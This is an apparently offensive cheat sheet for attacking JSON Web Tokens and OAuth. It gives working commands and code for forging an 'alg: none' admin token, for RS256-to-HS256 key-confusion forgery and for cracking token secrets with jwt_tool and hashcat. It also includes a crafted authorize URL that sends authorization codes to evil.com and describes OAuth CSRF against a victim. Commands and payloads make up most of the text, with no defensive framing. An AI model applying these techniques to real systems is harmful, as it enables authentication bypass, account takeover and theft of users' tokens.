JWT Anatomy
# JWT = base64(header) . base64(payload) . signature
# Decode the header manually
echo "eyJhbGciOiJSUzI1NiJ9" | base64 -d
# {"alg":"RS256"}
# Tool: jwt_tool
python3 jwt_tool.py TOKEN -T # tamper interactively
python3 jwt_tool.py TOKEN -C -d wordlist.txt # crack secret
Algorithm None Attack
# Change alg to "none" and remove the signature
# Original header: {"alg":"HS256","typ":"JWT"}
# Modified header: {"alg":"none","typ":"JWT"}
# Remove signature but keep the trailing dot
import base64, json
header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).rstrip(b'=')
payload = base64.b64encode(json.dumps({"user":"admin","role":"admin"}).encode()).rstrip(b'=')
token = f"{header.decode()}.{payload.decode()}."
RS256 to HS256 Confusion
# If the server accepts both RS256 and HS256:
# Sign the token with the PUBLIC key treated as an HMAC secret
# The server verifies using the public key (which you know), so you can forge tokens
python3 jwt_tool.py TOKEN -X k -pk public.pem
Brute Force Weak Secret
# hashcat
hashcat -a 0 -m 16500 TOKEN /usr/share/wordlists/rockyou.txt
# jwt_tool
python3 jwt_tool.py TOKEN -C -d /usr/share/wordlists/rockyou.txt
OAuth Attacks
# Open redirect in redirect_uri โ steal the authorization code
https://auth.target.com/oauth/authorize?
client_id=CLIENT_ID&
redirect_uri=https://evil.com/callback&
response_type=code&
scope=openid
# Missing state parameter โ OAuth CSRF
# Craft a link with victim's auth code, force victim to complete it
# Attacker receives the victim's access token bound to attacker's account